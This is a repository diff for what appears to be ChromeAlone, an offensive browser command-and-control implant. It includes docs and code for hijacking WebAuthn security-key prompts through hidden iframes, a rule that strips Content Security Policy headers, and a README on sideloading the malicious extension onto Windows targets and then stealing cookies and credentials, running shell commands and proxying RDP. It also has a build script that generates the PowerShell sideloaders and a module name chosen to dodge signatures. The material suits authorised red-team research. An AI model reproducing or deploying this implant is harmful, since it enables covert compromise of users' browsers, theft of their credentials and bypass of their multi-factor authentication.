// Send response back to C2 via extension messaging
sendWebAuthnResponse(credential);
});
}
```
### The Demo Okta Authentication Script
The `okta-idx-flow-automated.py` script demonstrates PAINTBUCKET's capabilities by automating a complete WebAuthn authentication flow against Okta's Identity Exchange (IDX) API. This script showcases how PAINTBUCKET can orchestrate complex authentication sequences that combine traditional credential submission with WebAuthn challenge-response cycles.
#### Script Architecture
**Core Components**:
1. **OAuth2/OIDC Flow Management** - Handles Vault → Okta → Vault authentication chain
2. **IDX API Integration** - Automates Okta's modern authentication API endpoints
3. **WebAuthn Challenge Processing** - Converts Okta challenges to browser-compatible format
4. **BATTLEPLAN Integration** - Uses the C2 infrastructure to execute WebAuthn requests
5. **Token Exchange Completion** - Retrieves final Vault client tokens
#### Key Functions
**`automate_okta_login()`** - Main orchestration function that:
- Initiates OAuth2 flow by requesting auth URL from Vault
- Follows redirects to establish session state with Okta
- Extracts state tokens and initializes IDX authentication
- Submits username/password credentials via IDX identify endpoint
- Triggers WebAuthn challenge through IDX challenge endpoint
**`format_idx_webauthn_challenge_for_browser()`** - Challenge conversion:
```python
# Extract challenge data from IDX response
challenge_info = current_auth.get('contextualData', {}).get('challengeData', {})
challenge = challenge_info.get('challenge')
credential_id = enrollment['credentialId']
# Format for navigator.credentials.get()
webauthn_request = {
"publicKey": {
"challenge": challenge, # Base64url encoded
"timeout": 60000,
"rpId": rp_id,
"allowCredentials": [{
"type": "public-key",
"id": credential_id,
"transports": ["usb", "nfc", "ble", "hybrid"]
}],
"userVerification": user_verification
}
}
```
**`make_webauthn_request()`** - BATTLEPLAN integration:
- Creates WebAuthn tasks via BATTLEPLAN C2 API
- Polls for completion using task management endpoints
- Returns structured WebAuthn response data for submission
**`submit_idx_webauthn_response_to_okta()`** - Response processing:
- Converts browser WebAuthn response to IDX API format
- Handles Okta-specific field mapping (e.g., `signatureData` vs `signature`)
- Manages session state and stateHandle progression
**`handle_success_redirect()`** - OAuth2 completion:
- Follows success redirects to complete authorization code flow
- Extracts authorization codes from callback URLs
- Automatically completes Vault token exchange via callback API
#### Platform-Specific Requirements
**Windows Chrome Configuration**:
On Windows systems, Chrome must be launched with specific flags to prevent Windows Hello from interfering with hardware security key operations:
```bash
chrome.exe --disable-features=WebAuthenticationUseNativeWinApi --do-not-de-elevate
```
**Why These Flags Are Necessary**:
- **`--disable-features=WebAuthenticationUseNativeWinApi`** - Prevents Chrome from using Windows' native WebAuthn API, which can conflict with direct hardware key access
- **`--do-not-de-elevate`** - Maintains elevated privileges necessary to bypass Windows Hello integration - without this permission Chrome will be unable to interact with USB hardware security tokens. A future solution to bypass Windows Hello without Admin is currently being investigated.
**Platform Behavior**:
- **Mac/Linux**: No special configuration required - hardware keys work normally
- **Windows**: Windows Hello enforcement is more rigorous about expected WebAuthn behavior and can block simultaneous hardware key requests
**Security Implications**:
- Admin permissions are required when running Chrome with these flags on Windows
- This configuration allows PAINTBUCKET to make multiple concurrent WebAuthn requests to the same hardware key
- Without these flags, Windows Hello will enforce single-request-per-key limitations that break the injection mechanism
#### Demonstration Flow
The complete demonstration sequence:
1. **Vault Auth URL Request** - Script requests OAuth2 authorization URL from Vault
2. **Okta Session Establishment** - Follows auth URL to establish session with Okta
3. **IDX Authentication** - Submits credentials through modern IDX API endpoints
4. **WebAuthn Challenge** - Receives and processes WebAuthn challenge from Okta
5. **PAINTBUCKET Execution** - Challenge converted and sent to BATTLEPLAN for hardware key interaction
6. **Response Submission** - WebAuthn response submitted back to Okta IDX
7. **OAuth2 Completion** - Authorization code exchanged for Vault client token
This demonstrates how PAINTBUCKET can be integrated into complex enterprise authentication workflows where multiple services (Vault, Okta, hardware tokens) must be coordinated to achieve full authentication bypass.
### Content Security Policy (CSP) Bypass
#### Understanding CSP Protection
Content Security Policy is a browser security mechanism that:
- **Restricts Resource Loading** - Controls which scripts, styles, and other resources can load
- **Prevents Injection Attacks** - Blocks inline JavaScript and eval() usage
- **Frame Control** - Manages iframe embedding with X-Frame-Options
**Common CSP Directives**:
```
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline';
frame-ancestors 'none';
```
#### PAINTBUCKET's CSP Bypass Mechanism
The system uses Chrome's `declarativeNetRequest` API to modify HTTP headers:
**Step 1: Header Removal Rules**
```javascript
// Remove CSP headers that would block injection
const rules = [
{
id: 1,
priority: 1,
action: {
type: "modifyHeaders",
responseHeaders: [
{
header: "content-security-policy",
operation: "remove"
}
]
},
condition: {
resourceTypes: ["main_frame", "sub_frame"]
}
}
];
```
**Step 2: Dynamic Rule Application**
The extension dynamically applies these rules to all web requests:
- Removes `Content-Security-Policy` headers
- Removes `Content-Security-Policy-Report-Only` headers
- Removes `X-Frame-Options` headers
- Disables other injection prevention mechanisms
### Cross-Frame Communication Bridge
#### The Challenge of Browser Isolation
Modern browsers isolate different execution contexts:
- **Content Scripts** - Run in isolated worlds with limited DOM access
- **Main World** - Where legitimate website JavaScript executes
- **Extension Context** - Has elevated privileges but can't directly access page content
#### PAINTBUCKET's Communication Architecture
**Component 1: Main World Injection (`inject.js`)**
Runs in the same context as the target website:
```javascript
// Intercept WebAuthn calls in the main world
function interceptWebAuthnRequest(requestData) {
// Send to isolated world via window messaging
window.postMessage({
type: 'MAIN_TO_EXTENSION',
payload: {
type: 'webauthn_request',
data: requestData,
requestId: generateRequestId()
}
}, '*');
}
```
**Component 2: Communication Bridge (`maintoisolated.js`)**
Runs in the isolated content script world:
```javascript
// Listen for messages from main world
window.addEventListener('message', (event) => {
if (event.data.type === 'MAIN_TO_EXTENSION') {
// Forward to extension background script
chrome.runtime.sendMessage(event.data.payload, (response) => {
// Send response back to main world
window.postMessage({
type: 'EXTENSION_TO_MAIN',
messageId: event.data.payload.messageId,
data: response
}, '*');
});
}
});
```
**Component 3: Extension Background Processing**
Receives data with full extension privileges:
- Processes intercepted WebAuthn requests
- Communicates with C2 server
- Manages credential storage and replay
- Coordinates with other ChromeAlone components
### Cross-Domain WebAuthn Injection Implementation
#### Single Active Request Management
PAINTBUCKET maintains only one active WebAuthn request for injection at any time to simplify implementation and handle request expiration:
```javascript
// Extension background script tracks single active request
let activeWebAuthnRequest = null;
const targetDomains = [
"attacker-site1.com",
"attacker-site2.com",
"compromised-partner.com"
];
// When legitimate auth detected, replace any existing active request
function setActiveWebAuthnRequest(legitimateRequest) {
// Replace previous request (lazy expiration)
activeWebAuthnRequest = {
timestamp: Date.now(),
originalRequest: legitimateRequest,
targetDomains: targetDomains,
used: false
};
console.log('🔄 Active WebAuthn request updated, previous request replaced');
}
// Iframe creation uses the current active request
function createWebAuthnIframeFromActiveRequest() {
if (!activeWebAuthnRequest || activeWebAuthnRequest.used) {
console.log('❌ No active WebAuthn request available');
return null;
}
// Mark as used and create iframe for first available domain
activeWebAuthnRequest.used = true;
const targetDomain = activeWebAuthnRequest.targetDomains[0];
const customRequest = createWebAuthnRequestForDomain(targetDomain, activeWebAuthnRequest.originalRequest);
return createWebAuthnIframe(targetDomain, btoa(JSON.stringify(customRequest)));
}
```
#### Authentication Piggybacking Process
When legitimate user authentication occurs:
1. **Trigger Detection** - Monitor for any WebAuthn request on the current page
2. **Request Storage** - Replace any existing active request with the new legitimate request data
3. **Context Preservation** - Maintain user interaction context for subsequent WebAuthn iframe usage
4. **Single Domain Execution** - Create one hidden iframe using the current active request
5. **Request Consumption** - Mark the active request as used to prevent duplicate usage
6. **Automatic Expiration** - New legitimate requests automatically replace older unused requests
**Implementation Note**: This single active request design simplifies the background script implementation by avoiding complex queue management and naturally handles request expiration. Since legitimate WebAuthn requests typically occur every few minutes during normal browsing, the system maintains a fresh active request while automatically discarding stale ones. This lazy expiration approach prevents memory accumulation and ensures the injected requests use recent, valid authentication contexts.
## Attack Capabilities
### Cross-Domain Authentication Injection
- **Single-Target Authentication** - Authenticate to one attacker domain per legitimate user authentication
- **Context Exploitation** - Leverage user interaction for WebAuthn permissions to attacker domains
- **Silent Registration** - Register new credentials on attacker sites without user awareness
- **Request Replacement** - Continuously update target domains by replacing older requests with newer ones
- **Multi-Factor Circumvention** - Bypass MFA by piggybacking on legitimate authentication sessions
### Content Manipulation
- **Injection Attacks** - Execute arbitrary JavaScript on any website
- **Phishing Enhancement** - Modify legitimate sites to capture additional data
- **UI Manipulation** - Alter webpage content to deceive users
- **Traffic Interception** - Monitor and modify all web communications
### Security Control Bypass
- **CSP Neutralization** - Disable Content Security Policy protections
- **Frame Breaking** - Bypass X-Frame-Options restrictions
- **Same-Origin Policy Violations** - Access cross-origin resources
- **Browser Security Feature Defeat** - Circumvent modern browser protections
+113
View File
@@ -0,0 +1,113 @@
# ChromeAlone - A Browser C2 Framework
![Architecture Diagram](BATTLEPLAN.png)
# What does this get me?
ChromeAlone is a browser implant that can be used in place of conventional implants like Cobalt Strike or Meterpreter. This repo provides a simple build process that will generate a management console, deploy infrastructure, and create a powershell sideloader script to run on targets.
After installation, each ChromeAlone implant will provide mechanisms for:
* Providing a SOCKS TCP Proxy on the host
* Browser session stealing and credential capture
* Launching executables on the host from Chrome
* Phishing for WebAuthn requests for physical security tokens like YubiKeys or Titan Security Keys.
* An EDR resistant form of persistence on host that is implemented entirely with Chromium's built-in features.
# Build Instructions
First build the docker container: `docker build -t chromealone .`
## Deployment Instructions
There are currently two supported deployment modes:
### Deployment from scratch via AWS
For this you'll need to have an AWS account configured with your credentials stored in `~/.aws/credentials`. Make sure your account has full EC2 write permissions along with Route53 permissions. Additionally it's assumed that your Route53 has been configured with at least 1 hosting zone containing a registered domain. If these conditions are met, then you can run:
```
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService
```
The `domain` value should match a domain under the control of your Route53 setup. `appname` can be whatever value you want, and will be used for naming several registry keys and folders on disk when deploying. It is recommended to use a fairly benign name like `UpdateService` or something equally innocuous.
This will deploy the BATTLEPLAN relay server to AWS and generate the following artifacts:
`output/client` - The control webapp to manage your ChromeAlone installs.
`output/sideloader.ps1` - The installation script to run on targets to infect their local browser instance. NOTE: There will also be an `iwa-sideloader.ps1` file for loading ONLY the Isolated Web App, and
`extension-sideloader.ps1` for loading ONLY the browser extension.
`output/extension` - The generated malicious browser extension.
`output/iwa` - The generated malicious Isolated Web App signed webapp bundle file.
`output/relay-deployment` - Terraform artifacts from your AWS deployment including an SSH key for directly accessing the host.
### Generate Deployment scripts from an existing server deployment
If you've already deployed an instance, `output/relay-deployment/terraform.tfvars` will contain all the information necessary to generate new sideloader scripts + malicious extensions. You can point the ChromeAlone docker file at the `tfvars` file and it will skip the deployment step while maintaining the appropriate metadata to handle connections.
Run the build script `docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService` and it will generate a new malicious sideloader for your deployment.
## Installing on Hosts
Take `sideloader.ps1` and execute it on your target Windows 10 or Windows 11 machine by running `powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1`. Note that you can run with additional flags if you would like to install a NativeMessaging host (required for shelling out) or force chrome to restart (necessary if you want your extension to run immediately after running this script versus waiting for the next time the user opens Chrome). An example invocation with both of these flags is `powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true`. You can also modify the defaults at the top of the script from `false` to `true` if you wish these flags to automatically be used.
A complete script execution will take roughly 20-30 seconds.
# Operator Instructions
Once ChromeAlone is loaded, you can view any connected hosts by opening `output/client/index.html`. This webapp will be pre-configured to connect back to your deployed BATTLEPLAN relay instance. Note that by default, the relay is firewalled to only allow incoming control access on ports 1080-1181 from the IP that deployed the server. If you wish to modify this, you'll need to update the EC2 instance's network settings to include any additional machines.
Most commands can be run from the WebUI including:
* Dumping history + cookies (via the `Quick Commands` section, which requires selecting a target agent in the `Execute Command` section)
* Capturing Credentials (these will appear via the `Captured Data` tab)
* Forcing WebAuthn requests (via the `Execute Command` section)
* File System reads (via the `File Browser` tab)
* Executing Shell commands (via the `Interactive Shell` tab)
The primary exception to this is SOCKS proxying. Each infected host is assigned a unique SOCKS port for the server that can be seen under the `Agent Information` section, where each agent has a `Port` field. The assigned port, when combined with the `admin` credentials stored in `output/client/config.js` can be used to configure a host specific SOCKS proxy.
For example, say we have an agent where the port is 1081, our domain is `chrome.alone`, our username `admin` (this is always the case), and our password is `thisisnotarealpassword`. Here are some example usages:
```
proxychains -q socks5 admin:thisisnotarealpassword@chrome.alone:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:thisisnotarealpassword@chrome.alone:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
```
# What's in this Repository?
The ChromeAlone repository is broken down into components, many of which could be used individually as part of an assessment - but together represent the entire Chromium browser implant toolchain.
* `BATTLEPLAN` - This is the management server component of the toolchain. It contains terraform scripts for deploying to an AWS environment as well as an HTML client for interacting with the server post deployment.
* `BLOWTORCH` - This is a malicious Isolated Web Application which uses `Direct Socket` permissions to implement a SOCKS TCP proxy and websocket server to enable communications between other chrome components. It also acts as the messaging bridge back to the `BATTLEPLAN` relay server.
* `DOORKNOB` - This is a series of scripts used for generating powershell sideloaders for Isolated Web Apps and Chrome Extensions. The script in `build.sh` provides an example of how to create a single Powershell installer script that combines both of theses individual sideloaders into one.
* `HOTWHEELS` - This is a malicious Chrome extension that implements all of its capabilities in Web Assembly. It provides the vast majority of ChromeAlone's feature sets for credential capture, session hijacking, shelling out, and reading the file system.
* `PAINTBUCKET` - A series of content scripts that enable phishing for WebAuthn requests by hiding additional WebAuthn requests within iFrames in inactive tabs whenever a normal WebAuthn request is made.
# Who made this?
This tool has been written by [Mike Weber](https://www.linkedin.com/in/michael-weber-6a466517/) of Praetorian Security.
# License
ChromeAlone is licensed under the Apache License, Version 2.0.
```
Copyright 2025 Praetorian Security, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
Executable
+341
View File
@@ -0,0 +1,341 @@
#!/bin/bash
set -e
# Parse command line arguments
DOMAIN_NAME=""
APP_NAME="com.chrome.alone"
OUTPUT_NAME="sideloader.ps1"
TFVARS_FILE=""
# Function to display usage information
show_usage() {
echo "Usage: $0 [--domain=example.com] [--appname=com.chrome.alone] [--output=sideloader.ps1] [--tfvars=path/to/terraform.tfvars]"
echo ""
echo "Arguments:"
echo " --domain=DOMAIN Domain name for the relay server (required unless --tfvars is provided)"
echo " --appname=NAME Custom app name (optional, default: com.chrome.alone)"
echo " --output=NAME Output file name (optional, default: sideloader.ps1)"
echo " --tfvars=PATH Path to existing terraform.tfvars file (skips terraform deployment)"
echo ""
}
# Parse arguments
while [[ $# -gt 0 ]]; do
case $1 in
--domain=*)
DOMAIN_NAME="${1#*=}"
shift
;;
--appname=*)
APP_NAME="${1#*=}"
shift
;;
--output=*)
OUTPUT_NAME="${1#*=}"
shift
;;
--tfvars=*)
TFVARS_FILE="${1#*=}"
shift
;;
--help|-h)
show_usage
exit 0
;;
*)
# Unknown option
echo "Unknown option: $1"
show_usage
exit 1
;;
esac
done
# Check if domain is provided or tfvars file is specified
if [ -z "$DOMAIN_NAME" ] && [ -z "$TFVARS_FILE" ]; then
echo "Error: Either domain name or tfvars file path is required"
show_usage
exit 1
fi
# If tfvars file is provided, validate it exists
if [ -n "$TFVARS_FILE" ] && [ ! -f "$TFVARS_FILE" ]; then
echo "Error: TFVARs file not found: $TFVARS_FILE"
exit 1
fi
if [ -n "$TFVARS_FILE" ]; then
echo "Using existing TFVARs file: $TFVARS_FILE"
else
echo "Domain Name: $DOMAIN_NAME"
fi
echo "App Name: ${APP_NAME:-Using default com.chrome.alone}"
echo "Output Name: ${OUTPUT_NAME:-Using default sideloader.ps1}"
# Function to check if a command exists
command_exists() {
command -v "$1" >/dev/null 2>&1
}
# Check for required dependencies
echo "Checking for required dependencies..."
MISSING_DEPS=0
for cmd in aws terraform npm node dotnet python3; do
if ! command_exists $cmd; then
echo "Error: $cmd is not installed or not in PATH"
MISSING_DEPS=1
fi
done
if [ $MISSING_DEPS -eq 1 ]; then
echo "Please install missing dependencies or use the Docker container"
exit 1
fi
# Determine if we're in Docker or on local machine
if [ -d "/project" ] && [ "$(pwd)" = "/home/builder" ]; then
# We're in Docker, change to the mounted project directory
echo "Running in Docker container, changing to project directory..."
cd /project
else
# We're on a local machine, use current directory
echo "Running on local machine, using current directory..."
fi
# Store the project root directory
PROJECT_ROOT=$(pwd)
echo "Project root: $PROJECT_ROOT"
# Step 1: Deploy relay (skip if tfvars file provided)
if [ -n "$TFVARS_FILE" ]; then
echo "Step 1: Skipping terraform deployment (using provided TFVARs file)"
# Copy the provided tfvars file to the expected location
mkdir -p "$PROJECT_ROOT/output/relay-deployment"
DEST_TFVARS="$PROJECT_ROOT/output/relay-deployment/terraform.tfvars"
# Check if source and destination are the same file to avoid cp error
if [ "$TFVARS_FILE" -ef "$DEST_TFVARS" ]; then
echo "TFVARs file is already in the correct location"
else
cp "$TFVARS_FILE" "$DEST_TFVARS"
echo "Copied TFVARs file to $DEST_TFVARS"
fi
else
echo "Step 1: Running .deploy-relay.sh from BATTLEPLAN/ directory"
cd "$PROJECT_ROOT/BATTLEPLAN"
bash ./deploy-relay.sh --domain "$DOMAIN_NAME"
fi
# Extract domain_name and relay_token from terraform.tfvars
TFVARS_PATH="$PROJECT_ROOT/output/relay-deployment/terraform.tfvars"
if [ ! -f "$TFVARS_PATH" ]; then
echo "Error: terraform.tfvars file not found at $TFVARS_PATH"
exit 1
fi
# Extract values using grep and sed
echo "Extracting configuration from terraform.tfvars..."
EXTRACTED_DOMAIN=$(grep 'domain_name' "$TFVARS_PATH" | sed 's/domain_name = "\(.*\)"/\1/')
EXTRACTED_TOKEN=$(grep 'relay_token' "$TFVARS_PATH" | sed 's/relay_token = "\(.*\)"/\1/')
if [ -z "$EXTRACTED_DOMAIN" ] || [ -z "$EXTRACTED_TOKEN" ]; then
echo "Error: Could not extract domain_name or relay_token from terraform.tfvars"
exit 1
fi
echo "Extracted domain: $EXTRACTED_DOMAIN"
echo "Extracted token: ${EXTRACTED_TOKEN:0:8}..." # Only show first 8 chars for security
# Create .env file for webpack
ENV_FILE="$PROJECT_ROOT/BLOWTORCH/.env"
echo "Creating .env file for webpack at $ENV_FILE"
cat > "$ENV_FILE" << EOF
WS_DOMAIN=$EXTRACTED_DOMAIN
RELAY_TOKEN=$EXTRACTED_TOKEN
EOF
# Step 2: Install npm dependencies
echo "Step 2: Running npm install"
cd "$PROJECT_ROOT/BLOWTORCH"
npm install
# Step 2a: Generate IWA signing keys
if [ ! -f "cert.pem" ] || [ ! -f "private.key" ]; then
echo "Generating IWA signing keys..."
npm run generate-keys
fi
# Step 3: Build the IWA extension in Prod mode
echo "Step 3: Running npm run build:prod"
# The .env file will be used by webpack.config.cjs
npm run build:prod
# Step 3a move signed web bundle to the output folder
mkdir -p "$PROJECT_ROOT/output/iwa"
mv "$PROJECT_ROOT/BLOWTORCH/dist/app.swbn" "$PROJECT_ROOT/output/iwa/app.swbn"
rm -rf "$PROJECT_ROOT/BLOWTORCH/dist"
rm $ENV_FILE
# Step 4: Build the extension
echo "Step 4: Building the extension"
cd "$PROJECT_ROOT"
# Step 4a: Copy the extension files
cp -r ./HOTWHEELS/extension/ ./output/extension/
cp ./PAINTBUCKET/ContentScriptInject/*.js ./output/extension/
# Step 4b: Build the WASM files
GOOS=js GOARCH=wasm go build -trimpath -ldflags "-s -w" -o ./output/extension/wasm/main.wasm ./HOTWHEELS/wasm/content-script/
GOOS=js GOARCH=wasm go build -trimpath -ldflags "-s -w -X main.EXTENSION_NAME=$APP_NAME" -o output/extension/wasm/background.wasm ./HOTWHEELS/wasm/background-script/
# Step 4c: build the native messaging host
dotnet build -c Release -r win-x64 -o output/extension/ ./DOORKNOB/ExtensionSideloader/dotnet/NativeAppHost/NativeAppHost.csproj
# Step 4d: Build our support dotnet libraries
cd "$PROJECT_ROOT/DOORKNOB/IWASideloader/RegHelper"
dotnet build -c Release -r win-x64 .
cd "$PROJECT_ROOT/DOORKNOB/IWASideloader/HiddenDesktopNative"
dotnet build -c Release -r win-x64 .
# Step 5: Create sideloaders
echo "Step 5: Creating sideloaders"
# Step 5a: Create IWA Sideloader
cd "$PROJECT_ROOT"
echo "Using APP_NAME: $APP_NAME"
# Create sideloader with appropriate arguments
python3 ./DOORKNOB/IWASideloader/createSideloader.py ./output/iwa/app.swbn --appname="$APP_NAME" --output=./output/iwa-sideloader.ps1
# Step 5b: Create Chrome Sideloader
python3 ./DOORKNOB/ExtensionSideloader/powershell/build_sideloader.py ./output/extension "%LOCALAPPDATA%\Google\\$APP_NAME" --output=./output/extension-sideloader.ps1
# Step 5c: Create combined sideloader script:
echo "Creating combined sideloader script..."
# Determine the actual APP_NAME being used (same logic as the individual sideloaders)
ACTUAL_APP_NAME="${APP_NAME:-com.chrome.alone}"
echo "Using APP_NAME: $ACTUAL_APP_NAME for combined sideloader"
# Create the combined script header with unified parameters
cat > ./output/sideloader.ps1 << EOF
# Combined Chrome Extension and IWA Sideloader Script
# This script can install Chrome Extension, IWA, or both
param(
[string]\$Mode = "both", # "extension", "iwa", or "both"
[string]\$APP_NAME = "$ACTUAL_APP_NAME",
[string]\$ExtensionInstallDir = "%LOCALAPPDATA%\Google\\$ACTUAL_APP_NAME",
[string]\$ExtensionDescription = "Chrome Extension",
[string]\$InstallNativeMessagingHost = "false",
[string]\$ForceRestartChrome = "false"
)
Write-Host "Combined Chrome Extension and IWA Sideloader" -ForegroundColor Cyan
Write-Host "Mode: \$Mode" -ForegroundColor Yellow
Write-Host "APP_NAME: '\$APP_NAME'" -ForegroundColor Yellow
Write-Host "APP_NAME Length: \$(\$APP_NAME.Length)" -ForegroundColor Yellow
EOF
# Add extension sideloader functions (remove param block and execution logic)
echo "# === EXTENSION SIDELOADER FUNCTIONS ===" >> ./output/sideloader.ps1
sed '/^param(/,/^)$/d; /^# Run the main function only/,$d' ./output/extension-sideloader.ps1 >> ./output/sideloader.ps1
# Add IWA sideloader content (wrap in function)
echo "" >> ./output/sideloader.ps1
echo "# === IWA SIDELOADER FUNCTIONS ===" >> ./output/sideloader.ps1
echo "function Install-IWA {" >> ./output/sideloader.ps1
# Set APP_NAME locally within the function
echo ' $env:APP_NAME = $APP_NAME' >> ./output/sideloader.ps1
echo "" >> ./output/sideloader.ps1
# Extract the IWA installation logic (after the bundleData definition, skip original APP_NAME line)
sed -n '/^\$bundleData = @"/,/^"@$/p' ./output/iwa-sideloader.ps1 >> ./output/sideloader.ps1
sed -n '/^"@$/,$p' ./output/iwa-sideloader.ps1 | tail -n +2 | sed '/^\$env:APP_NAME/d' >> ./output/sideloader.ps1
echo "}" >> ./output/sideloader.ps1
# Add main execution logic
cat >> ./output/sideloader.ps1 << 'EOF'
# === MAIN EXECUTION LOGIC ===
try {
# Resolve the ExtensionInstallDir with APP_NAME substitution
$ExtensionInstallDir = $ExtensionInstallDir -replace '\$APP_NAME', $APP_NAME
if ($Mode -eq "extension" -or $Mode -eq "both") {
Write-Host "`nInstalling Chrome Extension..." -ForegroundColor Green
Write-Host "Extension install directory: $ExtensionInstallDir" -ForegroundColor Yellow
Main # Call the extension installation function
}
if ($Mode -eq "iwa" -or $Mode -eq "both") {
Write-Host "`nInstalling IWA..." -ForegroundColor Green
Install-IWA # Call the IWA installation function
}
Write-Host "`nInstallation completed successfully!" -ForegroundColor Green
} catch {
Write-Error "Installation failed: $($_.Exception.Message)"
exit 1
}
EOF
echo "Combined sideloader script created successfully"
# Step 6: Configure Relay Agent Webapp:
echo "Step 6: Configuring Relay Agent Webapp"
# Step 6a: Copy client files to output directory
echo "Step 6a: Copying client files to output/client/"
mkdir -p "$PROJECT_ROOT/output/client"
cp -r "$PROJECT_ROOT/BATTLEPLAN/client/"* "$PROJECT_ROOT/output/client/"
# Step 6b: Extract configuration and update config.js
echo "Step 6b: Updating config.js with relay configuration"
# Extract values from TFVARs file format
RELAY_HOST=$(grep 'domain_name' "$TFVARS_PATH" | sed 's/domain_name = "\(.*\)"/\1/')
RELAY_PORT="1080" # Default SOCKS5 port
RELAY_USERNAME=$(grep 'proxy_user' "$TFVARS_PATH" | sed 's/proxy_user = "\(.*\)"/\1/')
RELAY_PASSWORD=$(grep 'proxy_pass' "$TFVARS_PATH" | sed 's/proxy_pass = "\(.*\)"/\1/')
# Validate extracted values
if [ -z "$RELAY_HOST" ] || [ -z "$RELAY_PORT" ] || [ -z "$RELAY_USERNAME" ] || [ -z "$RELAY_PASSWORD" ]; then
echo "Error: Could not extract all required values from terraform.tfvars"
echo "Host: $RELAY_HOST, Port: $RELAY_PORT, Username: $RELAY_USERNAME"
echo "Make sure the tfvars file contains: domain_name, proxy_user, and proxy_pass"
exit 1
fi
echo "Updating config.js with extracted values:"
echo " Host: $RELAY_HOST"
echo " Port: $RELAY_PORT"
echo " Username: $RELAY_USERNAME"
echo " Password: ${RELAY_PASSWORD:0:8}..." # Only show first 8 chars for security
# Update config.js with extracted values
CONFIG_JS_FILE="$PROJECT_ROOT/output/client/config.js"
# Escape special characters in the values for sed
RELAY_HOST_ESCAPED=$(printf '%s\n' "$RELAY_HOST" | sed 's/[[\.*^$()+?{|]/\\&/g')
RELAY_PORT_ESCAPED=$(printf '%s\n' "$RELAY_PORT" | sed 's/[[\.*^$()+?{|]/\\&/g')
RELAY_USERNAME_ESCAPED=$(printf '%s\n' "$RELAY_USERNAME" | sed 's/[[\.*^$()+?{|]/\\&/g')
RELAY_PASSWORD_ESCAPED=$(printf '%s\n' "$RELAY_PASSWORD" | sed 's/[[\.*^$()+?{|]/\\&/g')
sed -i.backup \
-e "s|defaultHost: \"[^\"]*\"|defaultHost: \"$RELAY_HOST_ESCAPED\"|" \
-e "s|defaultPort: \"[^\"]*\"|defaultPort: \"$RELAY_PORT_ESCAPED\"|" \
-e "s|defaultUsername: \"[^\"]*\"|defaultUsername: \"$RELAY_USERNAME_ESCAPED\"|" \
-e "s|defaultPassword: \"[^\"]*\"|defaultPassword: \"$RELAY_PASSWORD_ESCAPED\"|" \
"$CONFIG_JS_FILE"
# Remove backup file
rm -f "$CONFIG_JS_FILE.backup"
echo "Step 6: Client configuration completed successfully"
echo "Build completed successfully! Interact with your extension relay by opening output/client/index.html"
+4
View File
@@ -0,0 +1,4 @@
module github.com/spf13/cobra
// Good luck signaturing this module name
go 1.21